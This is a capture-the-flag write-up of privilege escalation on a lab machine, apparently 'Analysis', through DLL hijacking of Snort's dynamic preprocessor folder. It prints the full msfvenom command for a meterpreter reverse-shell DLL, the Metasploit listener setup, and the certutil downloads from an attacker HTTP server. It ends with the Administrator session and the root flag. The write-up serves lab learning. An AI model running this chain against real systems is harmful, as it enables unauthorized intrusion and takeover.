Privilege Exploitation - DLL Hijacking
Generate the dll payload and the pcap file.
$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.16.52 LPORT=7777 -f dll -o tcapi.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 201798 bytes
Final size of dll file: 267264 bytes
Saved as: tcapi.dll
$ touch pwned.pcap
Start metasploit listener.
msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
payload => windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 7777
lport => 7777
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.52:7777
Now start a python http server to download the dll and pcap payload to the target.
$ python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
Download both files on the C:\Snort\lib\snort_dynamicpreprocessor
path.
*Evil-WinRM* PS C:\Snort\lib\snort_dynamicpreprocessor> dir
Directory: C:\Snort\lib\snort_dynamicpreprocessor
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/24/2022 6:46 AM 207872 sf_dce2.dll
-a---- 5/24/2022 6:46 AM 33792 sf_dnp3.dll
-a---- 5/24/2022 6:46 AM 22528 sf_dns.dll
-a---- 5/24/2022 6:46 AM 108032 sf_ftptelnet.dll
-a---- 5/24/2022 6:46 AM 47616 sf_gtp.dll
-a---- 5/24/2022 6:47 AM 59392 sf_imap.dll
-a---- 5/24/2022 6:47 AM 23552 sf_modbus.dll
-a---- 5/24/2022 6:47 AM 58368 sf_pop.dll
-a---- 5/24/2022 6:47 AM 52736 sf_reputation.dll
-a---- 5/24/2022 6:47 AM 37888 sf_sdf.dll
-a---- 5/24/2022 6:47 AM 52224 sf_sip.dll
-a---- 5/24/2022 6:47 AM 78848 sf_smtp.dll
-a---- 5/24/2022 6:47 AM 22016 sf_ssh.dll
-a---- 5/24/2022 6:47 AM 32256 sf_ssl.dll
*Evil-WinRM* PS C:\Snort\lib\snort_dynamicpreprocessor> certutil.exe -urlcache -f http://10.10.16.52:8888/tcapi.dll tcapi.dll
**** Online ****
CertUtil: -URLCache command completed successfully.
*Evil-WinRM* PS C:\Snort\lib\snort_dynamicpreprocessor> certutil.exe -urlcache -f http://10.10.16.52:8888/pwned.pcap pwned.pcap
http://10.10.16.52:8888/pwned.pcap
WinHttp Cache entries: 1
**** Online ****
CertUtil: -URLCache command completed successfully.
$ python -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
10.129.230.179 - - [08/Mar/2024 23:56:34] "GET /tcapi.dll HTTP/1.1" 200 -
10.129.230.179 - - [08/Mar/2024 23:56:34] "GET /tcapi.dll HTTP/1.1" 200 -
10.129.230.179 - - [08/Mar/2024 23:56:44] "GET /pwned.pcap HTTP/1.1" 200 -
10.129.230.179 - - [08/Mar/2024 23:56:44] "GET /pwned.pcap HTTP/1.1" 200 -
Finally, wait for the magie to happen! And if nothing happen in 1-2 minutes, run snort.exe
.
*Evil-WinRM* PS C:\Snort\bin> .\snort.exe
snort.exe : Running in packet dump mode
+ CategoryInfo : NotSpecified: (Running in packet dump mode:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
--== Initializing Snort ==--Initializing Output Plugins!pcap DAQ configured to passive.The DAQ version does not support reload.Acquiring network traffic from "\Device\NPF_{30B536A0-3BBD-407B-9123-6AB9CA845E94}".Decoding Ethernet --== Initialization Complete ==-- ,,_ -*> Snort! <*- o" )~ Version 2.9.20-WIN64 GRE (Build 82) '''' By Martin Roesch & The Snort Team: http://www.snort.org/contact#team Copyright (C) 2014-2022 Cisco and/or its affiliates. All rights reserved. Copyright (C) 1998-2013 Sourcefire, Inc., et al. Using PCRE version: 8.10 2010-06-25 Using ZLIB version: 1.2.11Commencing packet processing (pid=5676)
And I get back a shell as Administrator into my metasploit listener.
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 10.10.16.52:7777
[*] Meterpreter session 1 opened (10.10.16.52:7777 -> 10.129.230.179:63441) at 2024-03-08 23:57:59 +0100
meterpreter > whoami
[-] Unknown command: whoami
meterpreter > getuid
Server username: ANALYSIS\Administrateur
And I can finally take the root flag!
root.txt : c64cbec2e749e1acee1e49083f550107
Credits
Special thanks to the Creator of the box : UVision! Also, Thanks to Ippsec for it’s amazing content, and for the walktrought of this box!
And of course…
Thanks to my team Godzillhack!